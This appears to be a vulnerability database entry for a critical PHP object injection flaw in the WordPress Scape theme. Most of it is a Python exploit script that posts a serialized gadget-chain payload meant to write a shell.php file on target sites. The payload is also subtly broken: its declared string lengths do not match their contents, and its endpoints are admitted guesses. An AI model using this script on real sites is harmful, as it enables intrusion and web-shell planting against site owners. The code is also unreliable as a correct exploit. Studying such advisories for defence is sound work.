Deserialization of Untrusted Data vulnerability in Whitebox-Studio Scape scape allows Object Injection.This issue affects Scape: from n/a through <= 1.5.13.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Scape Theme <= 1.5.13
Scape Theme from n/a through <= 1.5.13
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60213 PoC - WordPress Scape Theme PHP Object Injection
# CVSS Score: 9.8 (Critical)
# Affected: Scape Theme <= 1.5.13
import requests
import sys
def exploit_cve_2025_60213(target_url):
"""
Exploit for CVE-2025-60213 - PHP Object Injection in Scape Theme
This PoC demonstrates the vulnerability by attempting to trigger
unsafe deserialization through the affected endpoint.
"""
# Malicious serialized payload using PHP object injection
# This payload targets common PHP magic methods
# Adjust the gadget chain based on available classes
# Pop chain for common WordPress/PHP libraries
# Example using Symfony Yaml component if present
payload = 'O:31:"Symfony\\Component\\Yaml\\Yaml":1:{s:57:"\0Symfony\\Component\\Yaml\\Yaml\0parsingException";O:30:"Symfony\\Component\\Yaml\\Exception\\ParseException":7:{s:10:"\0*\0parsedLine";i:1;s:14:"\0*\0snippetAfter";s:12:"<?php phpinfo(); ?>";s:14:"\0*\0snippetBefore";s:0:"";s:9:"\0*\0parsedFile";s:14:"/var/www/html/shell.php";s:9:"\0*\0guessedClass";N;s:10:"\0*\0guessedMethod";N;s:8:"\0*\0source";N;}}'
# Target endpoint (adjust based on actual vulnerable parameter)
endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-content/themes/scape/lib/inc/theme-functions.php',
'/wp-content/themes/scape/lib/classes/class-scape-api.php'
]
print(f"[*] Target: {target_url}")
print(f"[*] Vulnerability: CVE-2025-60213 - PHP Object Injection")
print(f"[*] Affected Product: Scape Theme <= 1.5.13")
print()
for endpoint in endpoints:
url = target_url.rstrip('/') + endpoint
print(f"[*] Testing endpoint: {url}")
# Try POST request with serialized payload
data = {
'action': 'scape_ajax_handler',
'data': payload
}
try:
response = requests.post(url, data=data, timeout=10, verify=False)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response Length: {len(response.text)}")
if 'phpinfo' in response.text.lower() or 'system' in response.text.lower():
print("[!] Potential successful exploitation detected!")
print(f"[!] Response preview: {response.text[:200]}")
except requests.RequestException as e:
print(f"[-] Request failed: {e}")
print()
print("[*] Note: This is a demonstration PoC. Actual exploitation")
print("[*] may require identifying the specific vulnerable parameter.")
print("[*] Always obtain proper authorization before testing.")
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://example.com")
sys.exit(1)
target = sys.argv[1]
exploit_cve_2025_60213(target)